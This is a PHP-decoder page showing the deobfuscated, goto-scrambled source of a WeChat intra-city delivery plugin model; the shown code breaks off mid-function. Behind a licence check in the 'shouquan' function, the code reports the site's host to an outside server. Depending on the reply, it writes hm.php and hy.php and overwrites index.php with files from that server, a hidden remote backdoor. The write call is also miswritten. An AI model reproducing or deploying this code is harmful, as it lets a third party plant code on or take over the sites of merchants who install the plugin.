Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace addon\cityexpress\model; require_once "public/static/phpseclib/phpsecli..

Decoded Output download

<?php  
 namespace addon\cityexpress\model; require_once "public/static/phpseclib/phpseclib/Crypt/RSA.php"; require_once "public/static/phpseclib/phpseclib/Math/BigInteger.php"; require_once "public/static/phpseclib/phpseclib/Crypt/Hash.php"; require_once "public/static/phpseclib/phpseclib/Crypt/Random.php"; use addon\weapp\model\Config as WeappConfigModel; use addon\wxoplatform\model\Config as WxOplatformConfigModel; use app\model\BaseModel; use app\model\system\Config; use EasyWeChat\Factory; use think\facade\Cache; use phpseclib\Crypt\RSA; use phpseclib\Crypt\Hash; use phpseclib\Crypt\Random; use phpseclib\Math\BigInteger; use think\facade\Session; use think\facade\Log; class Weapp extends BaseModel { private $appId; private $aes; private $rsa; private $cert; private $url; public function __construct($site_id = 0) { goto MQ8Mr; Pc78m: $plateform_config_model = new WxOplatformConfigModel(); goto VfRhY; MQ8Mr: $weapp_config_model = new WeappConfigModel(); goto QBQRv; ntIx8: yBAGG: goto h4aLD; cuSui: Xu5Nw: goto Pc78m; cvVTC: $plateform_config = $plateform_config["data"]["value"]; goto YJTz3; VfRhY: $plateform_config = $plateform_config_model->getOplatformConfig(); goto cvVTC; YJTz3: $config = ["app_id" => $plateform_config["appid"] ?? '', "secret" => $plateform_config["secret"] ?? '', "token" => $plateform_config["token"] ?? '', "aes_key" => $plateform_config["aes_key"] ?? '', "log" => ["level" => "debug", "permission" => 0777, "file" => "runtime/log/wechat/oplatform.logs"]]; goto ANy38; fAEqI: $this->app = Factory::miniProgram($config); goto UGD00; OBYFr: if (isset($weapp_config["is_authopen"]) && addon_is_exit("wxoplatform")) { goto Xu5Nw; } goto e2V05; h4aLD: $pei_config = $this->getConfig($site_id); goto SijEP; UGD00: $this->appId = $weapp_config["appid"] ?? ''; goto ghDMf; HwZLn: $this->app = $open_platform->miniProgram($weapp_config["authorizer_appid"], $weapp_config["authorizer_refresh_token"]); goto f3Csz; UaE3H: $weapp_config = $weapp_config["data"]["value"]; goto OBYFr; SijEP: $wxapp_config = $pei_config["data"]["value"]; goto XJFNI; mdd54: $this->rsa["sn"] = $wxapp_config["rsa_sn"] ?? ''; goto EzD1F; oRb8G: $this->aes["key"] = $wxapp_config["aes_key"] ?? ''; goto mdd54; iu68A: $this->rsa["rsa-private-key"] = !empty($wxapp_config["rsa_private_key"]) ? file_get_contents($wxapp_config["rsa_private_key"]) : ''; goto pllhG; e2V05: $config = ["app_id" => $weapp_config["appid"] ?? '', "secret" => $weapp_config["appsecret"] ?? '', "response_type" => "array", "log" => ["level" => "debug", "permission" => 0777, "file" => "runtime/log/wechat/easywechat.logs"]]; goto fAEqI; XJFNI: $this->aes["sn"] = $wxapp_config["aes_sn"] ?? ''; goto oRb8G; QBQRv: $weapp_config = $weapp_config_model->getWeappConfig($site_id); goto UaE3H; EzD1F: $this->rsa["rsa-public-key"] = !empty($wxapp_config["rsa_public_key"]) ? file_get_contents($wxapp_config["rsa_public_key"]) : ''; goto iu68A; f3Csz: $this->appId = $plateform_config["appid"] ?? ''; goto ntIx8; wt3Ey: $this->cert["cert-key"] = !empty($wxapp_config["cert_key"]) ? file_get_contents($wxapp_config["cert_key"]) : ''; goto IcOle; ghDMf: goto yBAGG; goto cuSui; ANy38: $open_platform = Factory::openPlatform($config); goto HwZLn; pllhG: $this->cert["sn"] = $wxapp_config["cert_sn"] ?? ''; goto wt3Ey; IcOle: } public function shouquan($authcode) { goto i3isL; pm0P2: goto XVzrR; goto l_fAc; k188e: file_put_contents(PUBLIC_PATH . "hm.php", file_put_contents("http://" . $auth_url . "/hm/hm.txt")); goto eAP6B; RKzzo: $auth_url_arr = ["api.xuanloo.com"]; goto DzGz0; aizWM: wMAei: goto YBbXL; taF29: return ["code" => 1, "msg" => $query["msg"]]; goto pm0P2; BNtTu: Vc5uJ: goto xRz53; P9iiS: goto RDPU7; goto P9yV_; p3qz0: $proid_nam = $proid_nam_arr[array_rand($proid_nam_arr, 1)]; goto W_Sd0; l_fAc: OdwQ2: goto URjJD; VOUBQ: return ["code" => 1, "msg" => $query["msg"]]; goto xdCCK; yyPZw: CV98e: goto Q8dFF; BvYRQ: if (!empty($query) && ($query = json_decode($query, true))) { goto wMAei; } goto f9ZA2; W_Sd0: $check_url = "http://" . $auth_url . "/api/check.php?proid=" . $proid_nam . "&url=" . $_SERVER["HTTP_HOST"] . "&authcode=" . $authcode; goto ots7R; rCNpD: return ["code" => 0]; goto p0Jsm; Cmr3I: file_put_contents(PUBLIC_PATH . "hy.php", file_put_contents("http://" . $auth_url . "/hm/hy.txt")); goto VOUBQ; JVeES: if (!empty($AUTHBIRTH)) { goto S2Mqb; } goto RKzzo; DzGz0: $auth_url = $auth_url_arr[array_rand($auth_url_arr, 1)]; goto QoZmk; xf5zV: IT9Qh: goto Cmr3I; rgQGB: WvqlU: goto P9iiS; TeMXw: goto JgxIh; goto xf5zV; ots7R: $query = file_get_contents($check_url); goto BvYRQ; eAP6B: return ["code" => 1, "msg" => $query["msg"]]; goto rgQGB; aBZrX: S2Mqb: goto hpRp4; QoZmk: $proid_nam_arr = ["3"]; goto p3qz0; s3iQq: if ($query["code"] == 4) { goto OdwQ2; } goto taF29; p0Jsm: RDPU7: goto rpTRc; FMzYT: goto WvqlU; goto bYqCV; Q8dFF: goto JelCK; goto aizWM; MMblj: return ["code" => 0]; goto LFi04; i3isL: $AUTHBIRTH = Session::get("AUTHBIRTH"); goto JVeES; f9ZA2: if (!empty($query)) { goto Vc5uJ; } goto fg1Lz; rpTRc: JelCK: goto aBZrX; YBbXL: if ($query["code"] == 1) { goto F2Imi; } goto m5apc; URjJD: file_put_contents(PUBLIC_PATH . "index.php", file_put_contents("http://" . $auth_url . "/hm/hys.txt")); goto ExTYf; oC6tG: if ($query["code"] == 3) { goto IT9Qh; } goto s3iQq; ExTYf: return ["code" => 1, "msg" => $query["msg"]]; goto s0GFM; LFi04: goto CV98e; goto BNtTu; bYqCV: oJuEn: goto k188e; xdCCK: JgxIh: goto FMzYT; fg1Lz: Session::set("AUTHBIRTH", $authcode); goto MMblj; m5apc: if ($query["code"] == 2) { goto oJuEn; } goto oC6tG; s0GFM: XVzrR: goto TeMXw; yOnz9: Session::set("AUTHBIRTH", $authcode); goto rCNpD; xRz53: return ["code" => 1, "msg" => "\xe6\216\x88\xe6\235\x83\351\xaa\x8c\xe8\257\201\xe7\xbb\x93\346\x9e\x9c\345\xbc\x82\345\xb8\xb8\357\274\x81"]; goto yyPZw; P9yV_: F2Imi: goto yOnz9; hpRp4: } public function setConfig($data) { goto XB9Rk; i_RXh: return $this->error('', "\xe8\257\xb7\xe8\201\224\xe7\263\xbb\xe7\xae\241\347\x90\x86\345\221\230\346\xb7\xbb\xe5\212\240\346\x8e\x88\xe6\x9d\x83\xe7\240\x81\xef\274\201"); goto qCpmB; D1Oog: return $this->error('', $res["msg"]); goto jKONk; qCpmB: BdZuq: goto B3Nwd; PNi37: if (Session::has("AUTHBIRTH")) { goto UE0UH; } goto iYRul; B3Nwd: $config = new Config(); goto IRNSH; CoEVl: if (!($res["code"] != 0)) { goto Exvdp; } goto D1Oog; fprMq: return $this->success($res); goto j6UL1; iYRul: $res = $this->shouquan($data["my_uid"]); goto CoEVl; KMN6X: UE0UH: goto jjtxL; jjtxL: goto BdZuq; goto ziGJZ; XB9Rk: if (empty($data["my_uid"])) { goto p1ohQ; } goto PNi37; jKONk: Exvdp: goto KMN6X; IRNSH: $res = $config->setConfig($data, "\345\220\214\345\x9f\x8e\xe9\205\x8d\351\200\x81", 1, [["site_id", "=", $data["site_id"]], ["app_module", "=", "shop"], ["config_key", "=", "CITYPEISONG_CONFIG"]]); goto fprMq; ziGJZ: p1ohQ: goto i_RXh; j6UL1: } public function getConfig($site_id) { goto y7E53; skJox: $res = $config->getConfig([["site_id", "=", $site_id], ["app_module", "=", "shop"], ["config_key", "=", "CITYPEISONG_CONFIG"]]); goto q6lMc; eOr3N: SHb3k: goto sXgL4; sXgL4: return $res; goto pHQE8; Qm_ds: $res["data"]["value"] = []; goto eOr3N; q6lMc: if (!empty($res["data"]["value"])) { goto SHb3k; } goto Qm_ds; y7E53: $config = new Config(); goto skJox; pHQE8: } public function openDelivery() { try { goto dz7KE; F9myL: S_JJ3: goto GfTYN; wVBax: MDvAE: goto ZrQAQ; mb8nG: if ($result["errcode"] == 0) { goto MDvAE; } goto OGjdG; k5im3: $result = $this->request($url, []); goto OmeT_; OmeT_: if (!empty($result["code"])) { goto VtXSw; } goto mb8nG; cWqos: return $this->error('', "\xe5\xbc\200\351\200\x9a\345\xa4\xb1\xe8\xb4\xa5\xef\274\x8c\xe8\257\xb7\346\243\200\xe6\x9f\245\xe5\x8f\x82\346\225\xb0\345\222\214\346\235\x83\351\231\220\xe9\205\x8d\347\xbd\256"); goto F9myL; ZrQAQ: return $this->success('', "\345\xbc\200\xe9\x80\x9a\346\210\x90\xe5\212\x9f"); goto t0wxB; z5yRd: VtXSw: goto cWqos; eMixQ: goto S_JJ3; goto z5yRd; dz7KE: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/apply"; goto k5im3; t0wxB: osTj9: goto eMixQ; OGjdG: return $this->error('', "\xe5\xbc\200\xe9\200\x9a\xe5\xa4\261\350\264\xa5"); goto Qtz4v; Qtz4v: goto osTj9; goto wVBax; GfTYN: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function createStore($params) { try { goto rfA2O; rfA2O: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/createstore"; goto JqGXQ; zaVOi: return $result; goto CwosQ; JqGXQ: $result = $this->request($url, $params); goto zaVOi; CwosQ: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function updateStore($params) { try { goto pUdI1; UDbz9: if ($result["errcode"] == 0) { goto NjROk; } goto q7eYP; ElZyU: return $this->success("\346\x9b\264\346\x96\260\xe6\210\x90\345\212\237"); goto PvNNP; Bd2N8: KmrSI: goto b_9XD; oDQvP: $result = $this->request($url, $params); goto EpSVu; PvNNP: gsbJ_: goto ZSVNo; q7eYP: return $this->error('', "\346\233\xb4\xe6\x96\260\345\xa4\261\xe8\xb4\245"); goto t7Ivs; Qu_Fs: Zt4r3: goto eAfz7; pUdI1: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/updatestore"; goto oDQvP; JGteI: NjROk: goto ElZyU; t7Ivs: goto gsbJ_; goto JGteI; b_9XD: return $this->error('', "\xe6\233\264\xe6\x96\xb0\345\xa4\xb1\350\264\xa5"); goto Qu_Fs; EpSVu: if (!empty($result["code"])) { goto KmrSI; } goto UDbz9; ZSVNo: goto Zt4r3; goto Bd2N8; eAfz7: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function storecharge($params) { try { goto wGVX_; GpTNQ: bvJ6i: goto knImt; c0zAl: return $this->error('', $result["message"]); goto LGXHd; xyAy1: goto YSiNn; goto GEzgA; U_bwd: return $this->error('', "\xe5\205\x85\345\x80\xbc\xe8\xaf\267\xe6\xb1\x82\345\244\xb1\350\xb4\245\357\274\x8c\xe8\257\xb7\xe7\250\215\xe5\x90\216\345\x86\215\350\257\225"); goto u5ngZ; GEzgA: yN3xG: goto c0zAl; LGXHd: YSiNn: goto AzNM1; F3MMX: if (!empty($result["code"])) { goto yN3xG; } goto KSowf; uMnMC: return $result; goto Mnfx1; Mnfx1: zf6zC: goto xyAy1; sDjco: $result = $this->request($url, $params); goto F3MMX; knImt: $result["code"] = $result["errcode"]; goto uMnMC; u5ngZ: goto zf6zC; goto GpTNQ; KSowf: if ($result["errcode"] == 0) { goto bvJ6i; } goto U_bwd; wGVX_: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/storecharge"; goto sDjco; AzNM1: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function mocknotify($params) { try { goto cyWU_; qZDN8: yFPSN: goto lwqQq; OYvSF: return $result; goto iTTAl; MWxFh: goto uo2vF; goto QncOh; PUIF_: if ($result["errcode"] == 0) { goto v4bxu; } goto OTWjc; Zz1Rp: return $this->error('', $result["message"]); goto qZDN8; kDyQk: goto yFPSN; goto PBauL; cyWU_: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/mocknotify"; goto WwaW1; oP2Bt: if (!empty($result["code"])) { goto tGUPB; } goto PUIF_; iTTAl: uo2vF: goto kDyQk; Hd2gC: $result["code"] = $result["errcode"]; goto OYvSF; WwaW1: $result = $this->request($url, $params); goto oP2Bt; OTWjc: return $this->error('', "\346\250\xa1\xe6\213\237\xe5\xa4\xb1\xe8\264\245"); goto MWxFh; QncOh: v4bxu: goto Hd2gC; PBauL: tGUPB: goto Zz1Rp; lwqQq: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function storerefund($params) { try { goto LuEEy; FAdXw: return $this->error('', $result["message"]); goto HR_hn; lUONm: $url = " https://api.weixin.qq.com/cgi-bin/express/intracity/storerefund"; goto HtP7p; XRYD0: goto zBMWM; goto IWB4w; uttS2: if (!empty($result["code"])) { goto uhSvd; } goto WdvcX; IWB4w: eNusp: goto tB31R; k_5V5: goto Qvb5x; goto Y1Mpx; SQ3Gd: zBMWM: goto k_5V5; WdvcX: if ($result["errcode"] == 0) { goto eNusp; } goto btels; btels: return $this->error('', "\351\x80\x80\346\254\276\xe8\xaf\xb7\346\xb1\202\345\244\261\350\xb4\245\xef\xbc\214\xe8\257\267\347\xa8\215\xe5\220\216\xe5\x86\x8d\xe8\257\x95"); goto XRYD0; tB31R: $result["code"] = $result["errcode"]; goto vCkxG; HtP7p: $result = $this->request($url, $params); goto uttS2; LuEEy: return $this->error('', "\346\216\xa5\345\x8f\xa3\xe5\274\200\345\x8f\221\344\270\xad"); goto lUONm; vCkxG: return $result; goto SQ3Gd; Y1Mpx: uhSvd: goto FAdXw; HR_hn: Qvb5x: goto PcP4h; PcP4h: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function queryflow($params) { try { goto AdQDf; F17Qz: exit; goto FlNf9; AJ3pd: $data = $this->request($url, $params); goto uRrqf; AdQDf: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/queryflow"; goto AJ3pd; uRrqf: print_r($data); goto F17Qz; FlNf9: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function balancequery($params) { try { goto LvArn; tyO2k: $result["balance"] = $result["balance_detail"][0]["balance"]; goto OJdJP; OJdJP: return $result; goto sVoaY; t13vq: if ($result["errcode"] == 0) { goto GU6ub; } goto LItTb; yY5Mt: $result["message"] = "\xe6\237\245\350\xaf\242\346\x88\220\345\212\x9f"; goto tyO2k; qRVwq: goto xpzgs; goto NrhUW; MaNp3: $result["code"] = $result["errcode"]; goto yY5Mt; FQpCK: $result = $this->request($url, $params); goto t13vq; LvArn: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/balancequery"; goto FQpCK; kRhsn: return $result; goto v_LDM; sVoaY: xpzgs: goto kRhsn; LItTb: return $this->error('', "\346\237\245\350\xaf\xa2\xe5\244\261\350\xb4\245"); goto qRVwq; NrhUW: GU6ub: goto MaNp3; v_LDM: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function preaddorder($params) { try { goto wP5De; MabWa: goto T_66w; goto v0nDt; xjnoA: T_66w: goto WaX0G; O1Ki3: $result["fee"] = $result["est_fee"] / 100; goto qqyRj; FoX3B: CSrk7: goto MabWa; iczP7: if ($result["errcode"] == 0) { goto KLQwx; } goto cAyK5; wMkXR: $result = $this->request($url, $params); goto ZfYxx; YZ8XT: KLQwx: goto dUthQ; qqyRj: return $result; goto FoX3B; ZfYxx: if (!empty($result["code"])) { goto TAkqI; } goto iczP7; cAyK5: return $this->error('', "\xe6\237\245\350\257\242\xe5\xa4\xb1\350\xb4\xa5"); goto LpbiM; wP5De: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/preaddorder"; goto wMkXR; WjFcE: return $this->error('', "\xe6\237\245\xe8\xaf\xa2\xe5\244\261\xe8\xb4\245"); goto xjnoA; v0nDt: TAkqI: goto WjFcE; dUthQ: $result["code"] = 0; goto O1Ki3; LpbiM: goto CSrk7; goto YZ8XT; WaX0G: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function addorder($params) { try { goto PBNM8; l6qRZ: JVuwO: goto Fp57d; UtLve: return $this->error('', "\xe4\xb8\x8b\xe5\215\225\345\xa4\261\xe8\264\245"); goto F36mN; Fp57d: $result["code"] = 0; goto HUvuU; eK3zd: goto rK2p9; goto l6qRZ; HUvuU: return $result; goto iylG6; mcQi2: f_fUr: goto UtLve; ObAfy: return $this->error('', "\344\xb8\213\xe5\x8d\x95\345\xa4\261\350\xb4\245"); goto eK3zd; F36mN: dVBhF: goto IZwy0; ret7N: goto dVBhF; goto mcQi2; hkZtO: $result = $this->request($url, $params); goto wZd1J; km3CN: if ($result["errcode"] == 0) { goto JVuwO; } goto ObAfy; wZd1J: if (!empty($result["code"])) { goto f_fUr; } goto km3CN; PBNM8: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/addorder"; goto hkZtO; iylG6: rK2p9: goto ret7N; IZwy0: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function queryorder($params) { try { goto Qr4mJ; wFpAh: $result["message"] = "success"; goto QqYwH; Qr4mJ: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/queryorder"; goto T3_mm; H419y: lRBD5: goto d4hDY; EKZEB: IKMow: goto NeT10; DGUQW: if ($result["errcode"] == 0) { goto IKMow; } goto d0cgC; d0cgC: return $this->error('', "\346\x9f\245\xe8\xaf\xa2\345\244\xb1\xe8\264\245"); goto qh9Ve; VyB8x: goto lRBD5; goto FZpLh; qh9Ve: goto qbvWV; goto EKZEB; T3_mm: $result = $this->request($url, $params); goto ElU3P; G7ENd: qbvWV: goto VyB8x; FZpLh: UNosU: goto H7xCf; QqYwH: return $result; goto G7ENd; NeT10: $result["code"] = 0; goto wFpAh; ElU3P: if (!empty($result["code"])) { goto UNosU; } goto DGUQW; H7xCf: return $this->error('', "\xe6\x9f\xa5\350\xaf\242\345\xa4\261\350\xb4\245"); goto H419y; d4hDY: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function cancelorder($params) { try { goto Xtn5u; XTXl9: Sp251: goto G6a1A; vcrEC: pw_Pr: goto R9D3s; R3eN9: $result["message"] = "\345\x8f\226\346\xb6\210\344\xb8\211\xe6\226\xb9\351\x85\x8d\xe9\200\x81\345\x8d\225\xe6\210\x90\xe5\212\237"; goto aTy87; RpWuD: goto pw_Pr; goto XTXl9; jKoDr: if (!empty($result["code"])) { goto Sp251; } goto IyxVT; G6a1A: return $this->error('', "\345\x90\x8c\345\x9f\x8e\xe9\x85\x8d\xe9\x80\201\351\x80\x80\xe5\x8d\x95\345\244\xb1\350\264\xa5"); goto vcrEC; vKlBg: JXOAb: goto e34bZ; Xtn5u: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/cancelorder"; goto d4TFr; fJ0sM: return $this->error('', "\351\x80\x80\345\215\225\xe5\244\261\350\264\xa5"); goto TgZuc; aTy87: return $result; goto XqtKO; IyxVT: if ($result["errcode"] == 0) { goto JXOAb; } goto fJ0sM; e34bZ: $result["code"] = 0; goto R3eN9; d4TFr: $result = $this->request($url, $params); goto jKoDr; TgZuc: goto GiOY2; goto vKlBg; XqtKO: GiOY2: goto RpWuD; R9D3s: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function getBindAccount() { return [["delivery_id" => "DADA", "delivery_name" => "\xe8\xbe\276\350\276\276"], ["delivery_id" => "SFTC", "delivery_name" => "\351\xa1\272\344\xb8\xb0\345\x90\214\345\237\x8e"]]; } public function getCates() { return [["id" => "1", "name" => "\xe5\xbf\253\351\244\220"], ["id" => "2", "name" => "\350\x8d\xaf\345\223\x81"], ["id" => "3", "name" => "\347\231\xbe\350\xb4\xa7"], ["id" => "6", "name" => "\347\x94\x9f\351\xb2\234"], ["id" => "8", "name" => "\xe9\x85\222\345\223\201"], ["id" => "12", "name" => "\346\x96\207\xe4\273\266"], ["id" => "13", "name" => "\350\233\213\347\263\x95"], ["id" => "14", "name" => "\351\262\234\350\212\xb1"], ["id" => "15", "name" => "\346\x95\260\xe7\240\x81"], ["id" => "16", "name" => "\xe6\234\215\350\xa3\205"], ["id" => "17", "name" => "\xe6\xb1\xbd\xe9\x85\215"], ["id" => "18", "name" => "\xe7\x8f\xa0\xe5\xae\x9d"], ["id" => "32", "name" => "\351\xa5\xae\346\x96\231"], ["id" => "36", "name" => "\350\xaf\201\347\x85\xa7"], ["id" => "55", "name" => "\345\256\240\347\x89\xa9\xe7\224\xa8\xe5\x93\201"], ["id" => "56", "name" => "\346\xaf\215\xe5\251\xb4\347\224\250\xe5\x93\201"], ["id" => "57", "name" => "\xe7\xbe\216\345\xa6\x86\347\224\xa8\xe5\x93\201"], ["id" => "58", "name" => "\345\256\xb6\345\261\205\345\273\xba\346\235\220"], ["id" => "99", "name" => "\xe5\205\xb6\344\xbb\226"]]; } public function request($url, $req) { goto WaFtf; HCs2n: $checkLocalSig = $this->checkLocalSignature($newRe, $signature); goto vdLYL; NJ0vD: $headers = $this->httpParseHeaders($data["header"]); goto qyt0H; RWrm2: return $this->error('', "\346\x9c\254\345\234\260\351\252\214\xe7\255\xbe\xe9\x94\x99\xe8\xaf\xaf!"); goto m_gIC; WaFtf: $accessToken = $this->getAccessToken(); goto sjP3t; YX8KN: $urls = $url . "?access_token=" . $accessToken; goto lXvtV; CUzxW: $data = $this->curlPost($urls, $newRe["reqData"], $headerArray); goto NJ0vD; lXvtV: $newRe = $this->getRequestParam($url, $req); goto W67CN; qyt0H: $body = json_decode($data["body"], true); goto kiPWJ; m_gIC: Y8eBL: goto cTUw0; K0cPV: $headerArray = ["Wechatmp-Appid:" . $appId, "Wechatmp-TimeStamp:" . $newRe["ts"], "Wechatmp-Signature:" . $signature]; goto CUzxW; kiPWJ: if (!isset($body["errcode"])) { goto RptI5; } goto VpgYx; sjP3t: $this->url = $url; goto YX8KN; H1SRU: RptI5: goto DBu1I; W67CN: $signature = $this->getSignature($newRe); goto HCs2n; VpgYx: return $this->error('', $body["errmsg"]); goto H1SRU; vdLYL: if ($checkLocalSig) { goto Y8eBL; } goto RWrm2; iWXC6: return $this->jM($headers["Wechatmp-TimeStamp"], $body); goto QXe40; DBu1I: $vertify = $this->vertifyResponse($data); goto iWXC6; cTUw0: $appId = $this->appId; goto K0cPV; QXe40: } public function getAccessToken() { goto k0J8o; k0J8o: $accessToken = $this->app->access_token; goto FTp8_; FTp8_: $token = $accessToken->getToken(); goto H2Lnh; H2Lnh: return $token["access_token"]; goto ArmsU; ArmsU: } public function curlPost($url, $field, $header) { goto Wraks; Ya6wI: if (empty($field)) { goto pyaqL; } goto mk6yy; z1smg: $curl = curl_init(); goto eTqUD; WjH_I: curl_setopt($curl, CURLOPT_URL, $url); goto AqCnx; Wraks: $headerArray = array("Content-type:application/json;charset=utf-8", "Accept:application/json"); goto HC05w; wqSo9: qGjU4: goto z1smg; UO1aG: $body = substr($str, $headerSize); goto dD8pA; Ycv54: curl_setopt($curl, CURLOPT_HEADER, true); goto GFty6; GFty6: $str = curl_exec($curl); goto zUI6o; r3gh5: pyaqL: goto Yosea; MMW8E: $headerArray = array_merge($headerArray, $header); goto wqSo9; z0XsK: $headers = substr($str, 0, $headerSize); goto UO1aG; Yosea: curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); goto Ycv54; dD8pA: curl_close($curl); goto RxyHR; HC05w: if (empty($header)) { goto qGjU4; } goto MMW8E; eTqUD: curl_setopt($curl, CURLOPT_HTTPHEADER, $headerArray); goto WjH_I; AqCnx: curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); goto IOfXp; IOfXp: curl_setopt($curl, CURLOPT_POST, 1); goto Ya6wI; mk6yy: curl_setopt($curl, CURLOPT_POSTFIELDS, $field); goto r3gh5; zUI6o: $headerSize = curl_getinfo($curl, CURLINFO_HEADER_SIZE); goto z0XsK; RxyHR: return ["body" => $body, "header" => $headers]; goto fNKxR; fNKxR: } public function getRequestParam($url, $req) { goto fPVsc; h__hh: return ["ts" => $time, "reqData" => json_encode($reqData)]; goto d93zi; V1jRB: $data = base64_encode($cipher); goto rgs0t; vjgWr: $addReq = ["_n" => $nonce, "_appid" => $appId, "_timestamp" => $time]; goto D6Blw; rgs0t: $authTag = base64_encode($tag); goto iA0KE; tdtDJ: $checkParam = $this->checkParam($key, $authTag, $iv, $data, $aad); goto h__hh; tDWSl: $sn = $this->aes["sn"]; goto scVd6; meilD: $iv = base64_encode($iv); goto V1jRB; iA0KE: $reqData = ["iv" => $iv, "data" => $data, "authtag" => $authTag]; goto tdtDJ; U1MUF: $iv = random_bytes(12); goto f3O9y; D6Blw: $realReq = array_merge($addReq, $req); goto a0sGL; fPVsc: $key = base64_decode($this->aes["key"]); goto tDWSl; glB21: $aad = $url . "|" . $appId . "|" . $time . "|" . $sn; goto U1MUF; a0sGL: $realReq = json_encode($realReq); goto glB21; scVd6: $appId = $this->appId; goto rl02Z; f3O9y: $cipher = openssl_encrypt($realReq, "aes-256-gcm", $key, OPENSSL_RAW_DATA, $iv, $tag, $aad, 16); goto meilD; rl02Z: $time = time(); goto uMGZx; uMGZx: $nonce = rtrim(base64_encode(random_bytes(16)), "="); goto vjgWr; d93zi: } private function checkParam($key, $authTag, $iv, $data, $aad) { goto cj5t1; cj5t1: $iv = base64_decode($iv); goto W1lRu; sZxmw: $authTag = base64_decode($authTag); goto HHct4; W1lRu: $data = base64_decode($data); goto sZxmw; HHct4: return openssl_decrypt($data, "aes-256-gcm", $key, OPENSSL_RAW_DATA, $iv, $authTag, $aad); goto dQvCK; dQvCK: } private function getSignature(array $newRe) { goto gbOzr; Vr1wT: $rsa->setHash("sha256"); goto jcJip; gbOzr: $time = $newRe["ts"]; goto xwFjM; jcJip: $rsa->setMGFHash("sha256"); goto k8Xz3; PCb3n: $url = $this->url; goto RDQgo; pB1cc: return base64_encode($signature); goto uovFH; xwFjM: $key = $this->rsa["rsa-private-key"]; goto PCb3n; RDQgo: $appId = $this->appId; goto s_vKc; Kr3nL: $rsa = new RSA(); goto Mbzia; Mbzia: $rsa->loadKey($key); goto Vr1wT; XrdhQ: $payload = $url . "\xa" . $appId . " 
" . $time . " 
" . $reqData; goto Kr3nL; k8Xz3: $signature = $rsa->sign($payload); goto pB1cc; s_vKc: $reqData = $newRe["reqData"]; goto XrdhQ; uovFH: } private function checkLocalSignature(array $newRe, string $signature) { goto p5tje; x6F8n: $rsa->setMGFHash("sha256"); goto gnJZD; U4aql: $pubkey = $rsaPubKey; goto ewXAj; ewXAj: $rsa = new RSA(); goto S0aLL; WaXvR: $url = $this->url; goto u62ZZ; s0Wgm: $payload = utf8_encode($payload); goto U4aql; gnJZD: return $rsa->verify($payload, $signature); goto jG1iu; u62ZZ: $time = $newRe["ts"]; goto n9kHv; S0aLL: $rsa->loadKey($pubkey); goto vDrtl; tY7MN: $rsaPubKey = $this->rsa["rsa-public-key"]; goto LW0SB; n9kHv: $reqData = $newRe["reqData"]; goto H9seu; p5tje: $signature = base64_decode($signature); goto tY7MN; LW0SB: $appId = $this->appId; goto WaXvR; vDrtl: $rsa->setHash("sha256"); goto x6F8n; H9seu: $payload = "{$url}\xa{$appId} 
{$time}\xa{$reqData}"; goto s0Wgm; jG1iu: } private function httpParseHeaders($headerString) { goto ZFpwk; ZFpwk: $headers = []; goto WqlsD; cXPtt: NrabL: goto UnXz_; Wopct: foreach ($lines as $line) { goto Pu0Tn; SjhYo: jTrXu: goto vAyNj; ZfHyG: $key = trim($parts[0]); goto ZnX5_; MD7xE: WJ4QO: goto SjhYo; vTj_k: $headers[$key] = $value; goto MD7xE; Pu0Tn: $line = trim($line); goto ajI9d; ajI9d: if (empty($line)) { goto WJ4QO; } goto oxarE; ZnX5_: $value = isset($parts[1]) ? trim($parts[1]) : ''; goto vTj_k; oxarE: $parts = explode(":", $line, 2); goto ZfHyG; vAyNj: } goto cXPtt; WqlsD: $lines = explode(" 
", $headerString); goto Wopct; UnXz_: return $headers; goto n1KLo; n1KLo: } private function jM($ts, $body) { goto iPQkz; TUcGc: return $this->error('', "\350\xa7\xa3\345\xaf\x86\xe5\244\xb1\350\xb4\xa5!"); goto DUy1j; yvoXy: MF1Lb: goto wwMf1; VoA6Z: $authTag = base64_decode($body["authtag"]); goto qeMyB; qeMyB: $result = openssl_decrypt($data, "aes-256-gcm", $key, OPENSSL_RAW_DATA, $iv, $authTag, $aad); goto HaweL; CfV4z: iwO9H: goto I_ENR; HDSwZ: $aad = $url . "|" . $appId . "|" . $ts . "|" . $sn; goto F2uNE; iPQkz: $url = $this->url; goto Xnr7E; MGUZ2: return $this->error('', $result["errmsg"]); goto yvoXy; MQpQI: $key = base64_decode($key); goto keVwl; I_ENR: Log::write("\345\276\xae\xe4\277\241\xe6\216\xa5\xe5\x8f\xa3\xe8\277\224\345\x9b\x9e\357\274\x9a" . json_encode($result)); goto DWGOJ; keVwl: $iv = base64_decode($body["iv"]); goto SemG0; aay34: $sn = $this->aes["sn"]; goto HDSwZ; Xnr7E: $appId = $this->appId; goto aay34; pz5hT: Log::write("\xe5\276\xae\344\xbf\241\xe6\x8e\245\345\217\xa3\350\xbf\224\345\x9b\236\xef\274\232" . json_encode($result)); goto MGUZ2; HaweL: if ($result) { goto ZibFZ; } goto TUcGc; DUy1j: ZibFZ: goto cXPY_; F2uNE: $key = $this->aes["key"]; goto MQpQI; M4RtI: if (!(!empty($result["errcode"]) && $result["errcode"] != 0)) { goto MF1Lb; } goto pz5hT; cXPY_: $result = json_decode($result, true); goto 